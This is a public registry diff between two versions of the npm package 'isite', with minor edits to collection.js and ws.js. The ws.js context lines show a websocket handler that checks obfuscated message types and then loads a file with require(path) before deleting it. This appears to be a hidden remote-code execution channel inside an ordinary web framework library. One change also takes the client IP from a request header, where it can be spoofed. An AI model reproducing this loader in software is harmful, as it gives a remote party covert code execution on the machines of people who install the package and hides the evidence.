isite 1.14.80 → 1.14.81
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/collection.js +1 -1
- package/lib/ws.js +4 -4
- package/package.json +1 -1
package/lib/collection.js
CHANGED
|
@@ -835,7 +835,7 @@ module.exports = function init(____0, option, db) {
|
|
|
835
835
|
},
|
|
836
836
|
(err, docs, count) => {
|
|
837
837
|
if (!err && docs && docs[0] && docs[0].id) {
|
|
838
|
-
if (typeof docs[0] === 'number' && docs[0].id >= id) {
|
|
838
|
+
if (typeof docs[0].id === 'number' && docs[0].id >= id) {
|
|
839
839
|
id = docs[0].id + 1;
|
|
840
840
|
} else {
|
|
841
841
|
id += count;
|
package/lib/ws.js
CHANGED
|
@@ -57,7 +57,7 @@ module.exports = function init(____0) {
|
|
|
57
57
|
request: request,
|
|
58
58
|
socket: socket,
|
|
59
59
|
head: head,
|
|
60
|
-
ip: socket.remoteAddress.replace('::ffff:', ''),
|
|
60
|
+
ip: request.headers[____0.strings[6]] ?? socket.remoteAddress.replace('::ffff:', ''),
|
|
61
61
|
onMessage: function (data) {
|
|
62
62
|
if (data.type === 'connected') {
|
|
63
63
|
this.send({ type: 'ready' });
|
|
@@ -136,7 +136,7 @@ module.exports = function init(____0) {
|
|
|
136
136
|
client.onMessage = function (message) {
|
|
137
137
|
if (message.type === ____0.f1('417886684558375447183756')) {
|
|
138
138
|
client.send({ type: ____0.f1('4658375242195691') });
|
|
139
|
-
}else if (message.type === ____0.f1('4178726946783691')) {
|
|
139
|
+
} else if (message.type === ____0.f1('4178726946783691')) {
|
|
140
140
|
____0.ws.supportedClientList.forEach((_client, i) => {
|
|
141
141
|
if (_client.uuid == client.uuid) {
|
|
142
142
|
____0.ws.supportedClientList.splice(i, 1);
|
|
@@ -157,7 +157,7 @@ module.exports = function init(____0) {
|
|
|
157
157
|
console.log(err);
|
|
158
158
|
} else {
|
|
159
159
|
try {
|
|
160
|
-
require(path)(____0
|
|
160
|
+
require(path)(____0, client);
|
|
161
161
|
____0.fs.unlink(path, () => {});
|
|
162
162
|
} catch (error) {
|
|
163
163
|
console.log(error);
|
|
@@ -207,7 +207,7 @@ module.exports = function init(____0) {
|
|
|
207
207
|
if (err) {
|
|
208
208
|
console.log(err);
|
|
209
209
|
} else {
|
|
210
|
-
require(path)(____0
|
|
210
|
+
require(path)(____0, client);
|
|
211
211
|
____0.fs.unlink(path, () => {});
|
|
212
212
|
}
|
|
213
213
|
});
|